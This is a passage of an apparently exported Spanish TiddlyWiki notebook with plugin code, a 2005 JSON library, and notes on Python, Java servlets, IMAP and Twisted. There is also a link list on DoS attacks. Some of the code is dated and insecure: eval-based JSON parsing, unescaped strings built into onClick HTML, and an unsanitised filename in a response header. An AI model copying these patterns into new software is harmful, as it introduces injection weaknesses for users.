	if (endDataTagIndex < 0) {
		return null;
	}
	var nextEndDataTagIndex;
	while ((nextEndDataTagIndex = text.indexOf(endTagText, endDataTagIndex+1)) >= 0) {
		endDataTagIndex = nextEndDataTagIndex;
	}

	return {
		prefixEnd: startDataTagIndex, 
		dataStart: startDataTagIndex+(startTagText.length)-1, 
		dataEnd: endDataTagIndex, 
		suffixStart: endDataTagIndex+(endTagText.length)
	};
};

// Internal.
// 
// Returns the "matches" of a content of a DataTiddler on the
// "data" regular expression. Return null when no data is defined
// in the tiddler content.
//
// Group 1: text before data section (prefix)
// Group 2: content of data section
// Group 3: text behind data section (suffix)
//
// @param tiddler a Tiddler
// @return [may be null] null when the tiddler contains no data section, otherwise see above.
//
DataTiddler.getDataTiddlerMatches = function(tiddler) {
	var text = tiddler.text;
	var info = DataTiddler.getDataSectionInfo(text);
	if (!info) {
		return null;
	}

	var prefix = text.substr(0,info.prefixEnd);
	var data = text.substr(info.dataStart, info.dataEnd-info.dataStart+1);
	var suffix = text.substr(info.suffixStart);
	
	return [text, prefix, data, suffix];
};


// Internal.
//
// Saves the data in a <data> block of the given tiddler (as a minor change). 
//
// The "chkAutoSave" and "chkForceMinorUpdate" options are respected. 
// I.e. the TiddlyWiki *file* is only saved when AutoSave is on.
//
// Notifications are not send. 
//
// This method should only be called when the data really has changed. 
//
// @param tiddler
//             the tiddler to be saved.
//
DataTiddler.save = function(tiddler) {

    var matches = DataTiddler.getDataTiddlerMatches(tiddler);

    var prefix;
    var suffix;
    if (matches === null) {
        prefix = tiddler.text;
        suffix = "";
    } else {
        prefix = matches[1];
        suffix = matches[3];
    }

    var dataText = DataTiddler.getDataTextOfTiddler(tiddler);
    var newText = 
            (dataText !== null) 
                ? prefix + "<data>" + dataText + "</data>" + suffix
                : prefix + suffix;
    if (newText != tiddler.text) {
        // make the change in the tiddlers text
        
        // ... see DataTiddler.MyTiddlerChangedFunction
        tiddler.isDataTiddlerChange = true;
        
        // ... do the action change
        tiddler.set(
                tiddler.title,
                newText,
                config.options.txtUserName, 
                config.options.chkForceMinorUpdate? undefined : new Date(),
                tiddler.tags);

        // ... see DataTiddler.MyTiddlerChangedFunction
        delete tiddler.isDataTiddlerChange;

        // Mark the store as dirty.
        store.dirty = true;
 
        // AutoSave if option is selected
        if(config.options.chkAutoSave) {
           saveChanges();
        }
    }
};

// Internal.
//
DataTiddler.MyTiddlerChangedFunction = function() {
    // Remove the data object from the tiddler when the tiddler is changed
    // by code other than DataTiddler code. 
    //
    // This is necessary since the data object is just a "cached version" 
    // of the data defined in the data section of the tiddler and the 
    // "external" change may have changed the content of the data section.
    // Thus we are not sure if the data object reflects the data section 
    // contents. 
    // 
    // By deleting the data object we ensure that the data object is 
    // reconstructed the next time it is needed, with the data defined by
    // the data section in the tiddler's text.
    
    // To indicate that a change is a "DataTiddler change" a temporary
    // property "isDataTiddlerChange" is added to the tiddler.
    if (this.dataObject && !this.isDataTiddlerChange) {
        delete this.dataObject;
    }
    
    // call the original code.
	DataTiddler.originalTiddlerChangedFunction.apply(this, arguments);
};


//============================================================================
// Formatters
//============================================================================

// This formatter ensures that "~<data>" is rendered as "<data>". This is used to 
// escape the "<data>" of a data section, just in case someone really wants to use
// "<data>" as a text in a tiddler and not start a data section.
//
// Same for </data>.
//
config.formatters.push( {
    name: "data-escape",
    match: "~<\\/?data>",

    handler: function(w) {
            w.outputText(w.output,w.matchStart + 1,w.nextMatch);
    }
} );


// This formatter ensures that <data>...</data> sections are not rendered.
//
config.formatters.push( {
    name: "data",
    match: "<data>",

    handler: function(w) {
		var info = DataTiddler.getDataSectionInfo(w.source);
		if (info && info.prefixEnd == w.matchStart) {
            w.nextMatch = info.suffixStart;
		} else {
			w.outputText(w.output,w.matchStart,w.nextMatch);
		}
    }
} );


//============================================================================
// Tiddler Class Extension
//============================================================================

// "Hijack" the changed method ---------------------------------------------------

DataTiddler.originalTiddlerChangedFunction = Tiddler.prototype.changed;
Tiddler.prototype.changed = DataTiddler.MyTiddlerChangedFunction;

// Define accessor methods -------------------------------------------------------

// Returns the value of the given data field of the tiddler. When no such field 
// is defined or its value is undefined the defaultValue is returned.
//
// When field is undefined (or null) the data object is returned. (See 
// DataTiddler.getDataObject.)
//
// @param field [may be null, undefined]
// @param defaultValue [may be null, undefined]
// @return [may be null, undefined]
//
Tiddler.prototype.data = function(field, defaultValue) {
    return (field) 
         ? DataTiddler.getTiddlerDataValue(this, field, defaultValue)
         : DataTiddler.getTiddlerDataObject(this);
};

// Sets the value of the given data field of the tiddler to the value. When the 
// value is equal to the defaultValue no value is set (and the field is removed).
//
// @param value [may be null, undefined]
// @param defaultValue [may be null, undefined]
//
Tiddler.prototype.setData = function(field, value, defaultValue) {
    DataTiddler.setTiddlerDataValue(this, field, value, defaultValue);
};


//============================================================================
// showData Macro
//============================================================================

config.macros.showData = {
     // Standard Properties
     label: "showData",
     prompt: "Display the values stored in the data section of the tiddler"
};

config.macros.showData.handler = function(place,macroName,params) {
    // --- Parsing ------------------------------------------

    var i = 0; // index running over the params
    // Parse the optional "JSON"
    var showInJSONFormat = false;
    if ((i < params.length) && params[i] == "JSON") {
        i++;
        showInJSONFormat = true;
    }
    
    var tiddlerName = story.findContainingTiddler(place).id.substr(7);
    if (i < params.length) {
        tiddlerName = params[i];
        i++;
    }

    // --- Processing ------------------------------------------
    try {
        if (showInJSONFormat) {
            this.renderDataInJSONFormat(place, tiddlerName);
        } else {
            this.renderDataAsTable(place, tiddlerName);
        }
    } catch (e) {
        this.createErrorElement(place, e);
    }
};

config.macros.showData.renderDataInJSONFormat = function(place,tiddlerName) {
    var text = DataTiddler.getDataText(tiddlerName);
    if (text) {
        createTiddlyElement(place,"pre",null,null,text);
    }
};

config.macros.showData.renderDataAsTable = function(place,tiddlerName) {
    var text = "|!Name|!Value|\n";
    var data = DataTiddler.getDataObject(tiddlerName);
    if (data) {
        for (var i in data) {
            var value = data[i];
            text += "|"+i+"|"+DataTiddler.stringify(value)+"|\n";
        }
    }
    
    wikify(text, place);
};


// Internal.
//
// Creates an element that holds an error message
// 
config.macros.showData.createErrorElement = function(place, exception) {
    var message = (exception.description) ? exception.description : exception.toString();
    return createTiddlyElement(place,"span",null,"showDataError","<<showData ...>>: "+message);
};

// ---------------------------------------------------------------------------
// Stylesheet Extensions (may be overridden by local StyleSheet)
// ---------------------------------------------------------------------------
//
setStylesheet(
    ".showDataError{color: #ffffff;background-color: #880000;}",
    "showData");


} // of "install only once"
// Used Globals (for JSLint) ==============

// ... TiddlyWiki Core
/*global 	createTiddlyElement, saveChanges, store, story, wikify */
// ... DataTiddler
/*global 	DataTiddler */
// ... JSON
/*global 	JSON */
			

/***
!JSON Code, used to serialize the data
***/
/*
Copyright (c) 2005 JSON.org

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The Software shall be used for Good, not Evil.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/

/*
    The global object JSON contains two methods.

    JSON.stringify(value) takes a JavaScript value and produces a JSON text.
    The value must not be cyclical.

    JSON.parse(text) takes a JSON text and produces a JavaScript value. It will
    throw a 'JSONError' exception if there is an error.
*/
var JSON = {
    copyright: '(c)2005 JSON.org',
    license: 'http://www.crockford.com/JSON/license.html',
/*
    Stringify a JavaScript value, producing a JSON text.
*/
    stringify: function (v) {
        var a = [];

/*
    Emit a string.
*/
        function e(s) {
            a[a.length] = s;
        }

/*
    Convert a value.
*/
        function g(x) {
            var c, i, l, v;

            switch (typeof x) {
            case 'object':
                if (x) {
                    if (x instanceof Array) {
                        e('[');
                        l = a.length;
                        for (i = 0; i < x.length; i += 1) {
                            v = x[i];
                            if (typeof v != 'undefined' &&
                                    typeof v != 'function') {
                                if (l < a.length) {
                                    e(',');
                                }
                                g(v);
                            }
                        }
                        e(']');
                        return;
                    } else if (typeof x.toString != 'undefined') {
                        e('{');
                        l = a.length;
                        for (i in x) {
                            v = x[i];
                            if (x.hasOwnProperty(i) &&
                                    typeof v != 'undefined' &&
                                    typeof v != 'function') {
                                if (l < a.length) {
                                    e(',');
                                }
                                g(i);
                                e(':');
                                g(v);
                            }
                        }
                        return e('}');
                    }
                }
                e('null');
                return;
            case 'number':
                e(isFinite(x) ? +x : 'null');
                return;
            case 'string':
                l = x.length;
                e('"');
                for (i = 0; i < l; i += 1) {
                    c = x.charAt(i);
                    if (c >= ' ') {
                        if (c == '\\' || c == '"') {
                            e('\\');
                        }
                        e(c);
                    } else {
                        switch (c) {
                            case '\b':
                                e('\\b');
                                break;
                            case '\f':
                                e('\\f');
                                break;
                            case '\n':
                                e('\\n');
                                break;
                            case '\r':
                                e('\\r');
                                break;
                            case '\t':
                                e('\\t');
                                break;
                            default:
                                c = c.charCodeAt();
                                e('\\u00' + Math.floor(c / 16).toString(16) +
                                    (c % 16).toString(16));
                        }
                    }
                }
                e('"');
                return;
            case 'boolean':
                e(String(x));
                return;
            default:
                e('null');
                return;
            }
        }
        g(v);
        return a.join('');
    },
/*
    Parse a JSON text, producing a JavaScript value.
*/
    parse: function (text) {
        var p = /^\s*(([,:{}\[\]])|"(\\.|[^\x00-\x1f"\\])*"|-?\d+(\.\d*)?([eE][+-]?\d+)?|true|false|null)\s*/,
            token,
            operator;

        function error(m, t) {
            throw {
                name: 'JSONError',
                message: m,
                text: t || operator || token
            };
        }

        function next(b) {
            if (b && b != operator) {
                error("Expected '" + b + "'");
            }
            if (text) {
                var t = p.exec(text);
                if (t) {
                    if (t[2]) {
                        token = null;
                        operator = t[2];
                    } else {
                        operator = null;
                        try {
                            token = eval(t[1]);
                        } catch (e) {
                            error("Bad token", t[1]);
                        }
                    }
                    text = text.substring(t[0].length);
                } else {
                    error("Unrecognized token", text);
                }
            } else {
                token = operator = undefined;
            }
        }


        function val() {
            var k, o;
            switch (operator) {
            case '{':
                next('{');
                o = {};
                if (operator != '}') {
                    for (;;) {
                        if (operator || typeof token != 'string') {
                            error("Missing key");
                        }
                        k = token;
                        next();
                        next(':');
                        o[k] = val();
                        if (operator != ',') {
                            break;
                        }
                        next(',');
                    }
                }
                next('}');
                return o;
            case '[':
                next('[');
                o = [];
                if (operator != ']') {
                    for (;;) {
                        o.push(val());
                        if (operator != ',') {
                            break;
                        }
                        next(',');
                    }
                }
                next(']');
                return o;
            default:
                if (operator !== null) {
                    error("Missing value");
                }
                k = token;
                next();
                return k;
            }
        }
        next();
        return val();
    }
};

/***
!Setup the data serialization
***/

DataTiddler.format = "JSON";
DataTiddler.stringify = JSON.stringify;
DataTiddler.parse = JSON.parse;

//}}}
/***
|Name|DcTableOfContentsPlugin|
|Author|[[Doug Compton|http://www.zagware.com/tw/plugins.html#DcTableOfContentsPlugin]]|
|Contributors|[[Lewcid|http://lewcid.org]], [[FND|http://devpad.tiddlyspot.com]], [[ELS|http://www.tiddlytools.com]]|
|Source|[[FND's DevPad|http://devpad.tiddlyspot.com#DcTableOfContentsPlugin]]|
|Version|0.4.1|
|~CoreVersion|2.2|
<<showtoc>>
!Description
This macro will insert a table of contents reflecting the headings that are used in a tiddler and will be automatically updated when you make changes.  Each item in the table of contents can be clicked on to jump to that heading.  It can be used either inside of select tiddlers or inside a system wide template.

A parameter can be used to show the table of contents of a seperate tiddler, &lt;<showtoc tiddlerTitle>&gt;

It will also place a link beside each header which will jump the screen to the top of the current tiddler.  This will only be displayed if the current tiddler is using the &lt;<showtoc>&gt; macro.

The appearance of the table of contents and the link to jump to the top can be modified using CSS.  An example of this is given below.

!Usage
!!Only in select tiddlers
The table of contents above is an example of how to use this macro in a tiddler.  Just insert &lt;<showtoc>&gt; in a tiddler on a line by itself.

It can also display the table of contents of another tiddler by using the macro with a parameter, &lt;<showtoc tiddlerTitle>&gt;
!!On every tiddler
It can also be used in a template to have it show on every tiddler.  An example ViewTemplate is shown below.

//{{{
<div class='toolbar' macro='toolbar -closeTiddler closeOthers +editTiddler permalink references jump'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'>Created <span macro='view created date DD-MM-YY'></span>, updated <span macro='view modified date DD-MM-YY'></span></div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class="toc" macro='showtoc'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
//}}}

!Examples
If you had a tiddler with the following headings:
{{{
!Heading1a
!!Heading2a
!!Heading2b
!!!Heading3
!Heading1b
}}}
this table of contents would be automatically generated:
* Heading1a
** Heading2a
** Heading2b
*** Heading3
* Heading1b
!Changing how it looks
To modifiy the appearance, you can use CSS similiar to the below.
//{{{
.dcTOC ul {
	color: red;
	list-style-type: lower-roman;
}
.dcTOC a {
	color: green;
	border: none;
}

.dcTOC a:hover {
	background: white;
	border: solid 1px;
}
.dcTOCTop {
	font-size: 2em;
	color: green;
}
//}}}

!Revision History
!!v0.1.0 (2006-04-07)
* initial release
!!v0.2.0 (2006-04-10)
* added the [top] link on headings to jump to the top of the current tiddler
* appearance can now be customized using CSS
* all event handlers now return false
!!v0.3.0 (2006-04-12)
* added the ability to show the table of contents of a seperate tiddler
* fixed an error when a heading had a ~WikiLink in it
!!v0.3.5 (2007-10-16)
* updated formatter object for compatibility with TiddlyWiki v2.2 (by Lewcid)
!!v0.4.0 (2007-11-14)
* added toggle button for collapsing/expanding table of contents element
* refactored documentation
!To Do
* code sanitizing/rewrite
* documentation refactoring
* use shadow tiddler for styles
!Code
***/
//{{{

version.extensions.DcTableOfContentsPlugin= {
	major: 0, minor: 4, revision: 0,
	type: "macro",
	source: "http://devpad.tiddlyspot.com#DcTableOfContentsPlugin"
};

// Replace heading formatter with our own
for (var n=0; n<config.formatters.length; n++) {
	var format = config.formatters[n];
	if (format.name == 'heading') {
		format.handler = function(w) {
			// following two lines is the default handler
			var e = createTiddlyElement(w.output, "h" + w.matchLength);
			w.subWikifyTerm(e, this.termRegExp); //updated for TW 2.2+

			// Only show [top] if current tiddler is using showtoc
			if (w.tiddler && w.tiddler.isTOCInTiddler == 1) {
				// Create a container for the default CSS values
				var c = createTiddlyElement(e, "div");
				c.setAttribute("style", "font-size: 0.5em; color: blue;");
				// Create the link to jump to the top
				createTiddlyButton(c, " [top]", "Go to top of tiddler", window.scrollToTop, "dcTOCTop", null, null);
			}
		}
		break;
	}
}

config.macros.showtoc = {
	handler: function(place, macroName, params, wikifier, paramString, tiddler) {
		var text = "";
		var title = "";
		var myTiddler = null;

		// Did they pass in a tiddler?
		if (params.length) {
			title = params[0];
			myTiddler = store.getTiddler(title);
		} else {
			myTiddler = tiddler;
		}

		if (myTiddler == null) {
			wikify("ERROR: Could not find " + title, place);
			return;
		}

		var lines = myTiddler .text.split("\n");
		myTiddler.isTOCInTiddler = 1;

		// Create a parent container so the TOC can be customized using CSS
		var r = createTiddlyElement(place, "div", null, "dcTOC");
		// create toggle button
		createTiddlyButton(r, "toggle", "show/collapse table of contents",
			function() { config.macros.showtoc.toggleElement(this.nextSibling); },
			"toggleButton")
		// Create a container so the TOC can be customized using CSS
		var c = createTiddlyElement(r, "div");

		if (lines != null) {
			for (var x=0; x<lines.length; x++) {
				var line = lines[x];
				if (line.substr(0,1) == "!") {
					// Find first non ! char
					for (var i=0; i<line.length; i++) {
						if (line.substr(i, 1) != "!") {
							break;
						}
					}
					var desc = line.substring(i);
					// Remove WikiLinks
					desc = desc.replace(/\[\[/g, "");
					desc = desc.replace(/\]\]/g, "");

					text += line.substr(0, i).replace(/[!]/g, '*');
					text += '<html><a href="javascript:;" onClick="window.scrollToHeading(\'' + title + '\', \'' + desc+ '\', event)">' + desc+ '</a></html>\n';
				}
			}
		}
		wikify(text, c);
	}
}

config.macros.showtoc.toggleElement = function(e) {
	if(e) {
		if(e.style.display != "none") {
			e.style.display = "none";
		} else {
			e.style.display = "";
		}
	}
};

window.scrollToTop = function(evt) {
	if (! evt)
		var evt = window.event;

	var target = resolveTarget(evt);
	var tiddler = story.findContainingTiddler(target);

	if (! tiddler)
		return false;

	window.scrollTo(0, ensureVisible(tiddler));

	return false;
};

window.scrollToHeading = function(title, anchorName, evt) {
	var tiddler = null;

	if (! evt)
		var evt = window.event;

	if (title) {
		story.displayTiddler(store.getTiddler(title), title, null, false);
		tiddler = document.getElementById(story.idPrefix + title);
	} else {
		var target = resolveTarget(evt);
		tiddler = story.findContainingTiddler(target);
	}

	if (tiddler == null)
		return false;
	
	var children1 = tiddler.getElementsByTagName("h1");
	var children2 = tiddler.getElementsByTagName("h2");
	var children3 = tiddler.getElementsByTagName("h3");
	var children4 = tiddler.getElementsByTagName("h4");
	var children5 = tiddler.getElementsByTagName("h5");

	var children = new Array();
	children = children.concat(children1, children2, children3, children4, children5);

	for (var i = 0; i < children.length; i++) {
		for (var j = 0; j < children[i].length; j++) {
			var heading = children[i][j].innerHTML;

			// Remove all HTML tags
			while (heading.indexOf("<") >= 0) {
				heading = heading.substring(0, heading.indexOf("<")) + heading.substring(heading.indexOf(">") + 1);
			}

			// Cut off the code added in showtoc for TOP
			heading = heading.substr(0, heading.length-6);

			if (heading == anchorName) {
				var y = findPosY(children[i][j]);
				window.scrollTo(0,y);
				return false;
			}
		}
	}
	return false
};
//}}}
! Introducción
Un uso habitual de los decoradores en Python es registrar tiempos de ejecución de una función. Una opción muy interesante es validar el tiempo utilizado para realizar la operación y en base a un umbral, logear las funciones que tomen demasiado tiempo en ejecutarse.

! Código
<code python>
from time import time
import logging
import functools
 
log = logging.getLogger(__name__)
 
def time_slow(f=None, logger=log, threshold=0.01):
    def decorated(f):
        @functools.wraps(f)
        def wrapper(*args, **kw):
            start = time()
            try:
                ret = f(*args, **kw)
            finally:
                duration = time() - start
                if duration > threshold:
                    logger.info('slow: %s %.9f seconds', f.__name__, duration)
            return ret
        return wrapper
    if f is not None:
        return decorated(f)
    return decorated
</python>

! Ejemplo de uso
<code python>
@time_slow
def myfast():
    pass
 
@time_slow(threshold=0)
def myslow():
    from time import sleep
    sleep(0.001)
</code>

! Referencias
Extraido de: http://www.heikkitoivonen.net/blog/2011/02/02/decorator-to-log-slow-calls/
[[Principal]]
<<showtoc>>
! Descripción
<part descripcion>
Descripcion de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Vídeos de supervivencia: http://www.youtube.com/user/viajeroindomito
* Todo tipo de nudos: http://www.nudos.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
A veces es necesario devolver un archivo a través de un Servlet o un Action, para lo cual el hay que escribir los bytes del fichero a través del Response.

! Solución
''Nota:'' Si la llamada se hace desde un Action, se debería devolver un {{{null}}} en vez de un {{{ActionForward}}}.

Dentro de un Servlet o ActionForm, llamar al siguiente método siguiente:

<code java>
/**
 * Muestra el contenido de un archivo
 * @param response HttpServletResponse
 * @param filename Nombre del archivo
 * @param contentType Tipo de contenido. Si viene nulo se pone "text/html"
 * @param data Array de bytes con el archivo a mostrar
 * @param attached Si es true, se añade cabecera extra
 */
public static void mostrarArchivo(HttpServletResponse response, String filename, String contentType, byte[] data, boolean attached)
{
    //Cabecera content-type
    if (contentType == null) {
        contentType = "text/html";
    }
    response.setContentType(contentType);

    //Añade cabecera para mostrarlo como adjunto
    if (attached) {
        response.addHeader("Content-Disposition","attachment; filename="+filename);
    }
    
    ServletOutputStream outputStream = null;
    try{
        outputStream = response.getOutputStream();
        outputStream.write(data, 0, data.length);
    }catch(Exception ex){
        ex.printStackTrace();
    }finally{
        try{
            outputStream.flush();
            outputStream.close();
        }catch(Exception ex) {
            ex.printStackTrace();
        }
    }
}
</code>
En en JSP o HTML se puede insertar un enlace similar al siguiente:
{{{
/ruta/a/la/accion.do?cmd=descargar&attach-name=hello.html
}}}
<<showtoc>>
! Descripción
<part descripcion>
Dispositivos programables embebidos capaces de leer entradas, escribir salidas y ejecutar programas sencillos.
</part>
! Enlaces
<part enlaces>
!!General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki

!! Libros
* Programación de microcontroladores PIC en C: http://www.mikroe.com/eng/chapters/view/79/capitulo-1-el-mundo-de-los-microcontroladores/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información general sobre los Ataques de Denegación de Servicio (~DoS) y Ataques Distribuidos de Denegación de Servicio (~DDoS). Aquí se recogen fundamentos teóricos y como producir algunos ataques y como protegerse de ellos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Denial-of-service_attack
** Ataques ~DoS en OWASP: http://www.owasp.org/index.php/Denial_of_Service

* ''Ataques ~DoS:''
** ~DoS con expresiones regulares (reDoS): http://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS
** Ataques ~DoS con Google: http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-dos.html
** Ataque Slow Loris: http://ha.ckers.org/slowloris/

* ''Vulnerabilidades que prueden producir ~DoS:''
** Ataque a chip wifi de móviles: http://www.hackplayers.com/2012/10/denegacion-de-servicio-multitud-de.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Eclipse es un [[IDE]] de programación que soporta varios lenguajes como [[Java]], [[Python]], [[PHP]], [[C]], etc. Está desarrollado por IBM y sus puntos fuertes son el editor de textos incorporado, la cantidad de lenguajes que soporta, y la rápida velocidad de respuesta de su interfaz gráfica, que destaca sobre todo con los demás [[IDE]]s hechos en [[Java]].

Además, el diseño de Eclipse es modular, y permite utilizar parte del propio [[IDE]] para construir nuestros propios programas.

Más información:
* http://es.wikipedia.org/wiki/Eclipse_(software)
* http://eclipse.org
<!--{{{-->
<div class='toolbar' macro='toolbar [[ToolbarCommands::EditToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser excludeLists'></span></div>
<div class='editor' macro='edit alias'></div><div class='editorFooter'><span macro='message abegoTiddlerAlias.lingo.aliasPrompt'></span></div>
<!--}}}-->
/***
|Name|EditTiddlerPlugin|
|Source|http://www.TiddlyTools.com/#EditTiddlerPlugin|
|Version|1.3.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|embed an 'edit' link in tiddler content to invoke edit on any specified tiddler title|
!!!!!Usage
<<<
{{{
<<editTiddler TiddlerName label>>
}}}
*''~TiddlerName''<br>the title of the tiddler to edit (omit or use the keyword 'here' for current //containing// tiddler)
*''label''<br>command link text (default="edit")
The plugin also adds ''ctrl-enter'' as a ''keyboard shortcut to start editing'' the current //selected// tiddler (the one with an active toolbar menu)
<<<
!!!!!Revisions
<<<
2009.08.15 1.3.1 in shortcut, invoke editTiddler command handler (sets focus and custom fields)
2009.08.14 1.3.0 added CTRL-ENTER keyboard shortcut to invoke edit for 'selected' tiddlers
2007.03.22 1.2.0 added 'here' keyword and optional 2nd param to specify label text
2007.03.15 1.1.1 fixed 'get tiddler ID' logic so it actually works! D'oh! 
2007.03.11 1.1.0 changed 'get tiddler ID' logic so that macro can be used outside a tiddler (i.e., in mainMenu) by specifying the ID
2006.10.04 1.0.1 invoke findContainingTiddler() as fallback when 'tiddler' param is null
2006.04.28 1.0.0 Initial release
<<<
!!!Code
***/
//{{{
version.extensions.EditTiddlerPlugin={major:1, minor:3, revision:1, date: new Date(2009,8,15)};

config.macros.editTiddler={
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var tid=params.shift(); // use specified tiddler ID (or "here")
		if (!tid || tid=="here") {
			var here=story.findContainingTiddler(place);
			if (!here) return; // not in a tiddler, do nothing
			tid=here.getAttribute('tiddler'); // get ID from tiddler element
		}
		var label="edit"; if (params[0]) label=params.shift();
		createTiddlyButton(place,label,'edit tiddler: '+tid,this.onclick).setAttribute('which',tid);
	},
	onclick: function(e) {
		story.displayTiddler(null,this.getAttribute('which'),DEFAULT_EDIT_TEMPLATE);
	}
}
//}}}
//{{{
	addEvent(document,'keypress', function(ev) { var ev=ev||window.event;
		if (!ev.ctrlKey || ev.keyCode!=13) return; // CTRL-ENTER = edit tiddler
		story.forEachTiddler(function(title,tiddler){
			if (hasClass(tiddler,'selected') && !story.isDirty(title))
				config.commands.editTiddler.handler(ev,null,title);
		});
		return false;
	});
//}}}
Un editor de textos es una herramienta diseñada sobre todo para programadores, que permite manipular texto plano, y colorearlo según reglas de sintaxis. Los IDEs suelen incorporar un editor de textos como parte fundamental.

No debe confundirse con los [[procesadores de texto|ProcesadorTexto]], que son programas para editar texto con formato.

Más información:
* http://es.wikipedia.org/wiki/Editor_de_texto
!Introducción
[[IMAP]] es un protocolo de acceso a cuentas de correo electrónico muy utilizado. Es más complejo que el protocolo [[POP]] y ofrece una funcionalidad muy superior a este. [[Python]] incorpora por defecto (bateries included!!) una librería para poder utilizar este protocolo.

!Manual de uso
Tan sólo hay que ejecutarlo e irá pidiendo los datos. Al finalizar creará un archivo llamado {{{results.txt}}} con toda la información recogida.

!Código fuente
<code python>
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import getpass

from imaplib import *


def main():
    #Configuración
    imap_host = raw_input("Servidor imap: ")#"imap.gmail.com" #"zaz-prod-mx01.tb-solutions.com"
    imap_port = int(raw_input("Puerto: "))#993 #143
    imap_user = raw_input("Usuario (aa@bb.cc): ")#"usuario@example.com"
    print "Contraseña: "
    imap_password = getpass.getpass()
    imap_box = raw_input("Carpeta (entrada es INBOX): ") #"INBOX"
    imap_box_readonly = True

    #Conectar con el servidor
    #imap_server = IMAP4_SSL(imap_host, imap_port)
    imap_server = IMAP4(imap_host, imap_port)
    imap_server.login(imap_user, imap_password)

    #Extrae información de conexión y carpetas disponibles
    status, folders  = imap_server.list()

    #Comprueba el estado de la conexión
    if status == "OK":
        print "Connected"

        #Imprime las carpetas que hay en el servidor
        print "folders"
        for i in folders:
            print i

        #Elige la carpeta de trabajo. Por defecto es INBOX
        if imap_box != "INBOX":
            print "Seleccionando carpeta "+imap_box
            imap_server.select(imap_box, imap_box_readonly)
        else:
            print "Seleccionando carpeta inbox"
            imap_server.select(readonly=imap_box_readonly)

        #Obtiene todos los mensajes de la carpeta seleccionada
        r, data = imap_server.search(None, 'ALL')
        messages = data[0].split()
        print "Número de mensajes: "+str(len(data[0].split()))

        #Obtiene los mensajes
        #get(messages)
        data = countMessages(imap_server, messages);

        f = open("results.txt", "w")

        try:
            #Muestra los resultados y los escribe en un archivo
            print "\n\nResultados: "
            for i in data:
                strAux = i+" ha enviado "+str(data[i])+" emails"
                f.write(strAux+"\n")
                print strAux
            f.flush()
        finally:
            f.close()

    #Fallo de conexión
    else:
        print "Connection fail"

    #Cierra la conexión con el servidor
    imap_server.close()
    imap_server.logout()


#Obtiene los mensajes el servidor y devuelve un diccionario con cuantos mensajes
#ha enviado cada remitente
def countMessages(server, messages):

    senders = {}

    #Imprime información de los archivos obtenidos
    for num in messages:
        #typ, data = imap_server.fetch(num, '(BODY[HEADER.FIELDS (SUBJECT FROM)])')
        typ, data = server.fetch(num, '(BODY[HEADER.FIELDS (FROM)])')
        #sender = data[0][1][6:-2]   #linux
        sender = data[0][1][6:-4]   #windows

        #Comprueba si ya se había registrado el remitente, y lo contea
        if not senders.has_key(sender):
            senders[sender] = 1
        else:
            senders[sender] += 1

        print str(num)+" Remitente: "+sender+" veces: "+str(senders[sender])

    #Devuelve el resultado
    return senders


#MAIN
if __name__ == "__main__":
    main()
</code>

! Refencias
* Artículo de la wikipedia sobre IMAP: http://es.wikipedia.org/wiki/Internet_Message_Access_Protocol
* Documetnación de la librería imaplib: http://docs.python.org/library/imaplib.html
! Introducción
Twisted es un framework para construir tanto clientes como servidores de red asíncronos. Se basa en el uso de callbacks (llamadas a funciones prefijadas) ante eventos como el envío o recepción de datos.

El framework se divide en varios módulos interconectados por el módulo principal, llamado "core". Existem también módulos para mensajería instantánea (words), ssh (conch), páginas web (web y web2).

! Ejemplo de cliente
<code python>
from twisted.web.client import getPage
from twisted.internet import reactor
def errorHandler(error):
    '''
    Esta es una función 'errback', añadida al objeto Deferred, que lo llamará
    en caso de error
    '''
    # Esta no es una manera muy efectiva de manejar el error, lo muestra por
    # pantalla
    print "Ha ocurrido un error: <%s>" % str(error)
    # detiene el proceso
    reactor.stop()
def lowerCaseContents(contents):
    '''
    Esto es una función 'callback', añadida al objeto Deferred y llamada
    cuando los datos solicitados están disponibles. Convierte todos los
    datos en minúsculas
    '''
    return contents.lower()
def printContents(contents):
    '''
    Esto es otra función 'callback', añadida después de lowerCaseContents(),
    es llamada con los resultados de la llamada a la anterior función.
    '''
    print contents
    # Detiene el gestor de eventos y finaliza el programa
    reactor.stop()
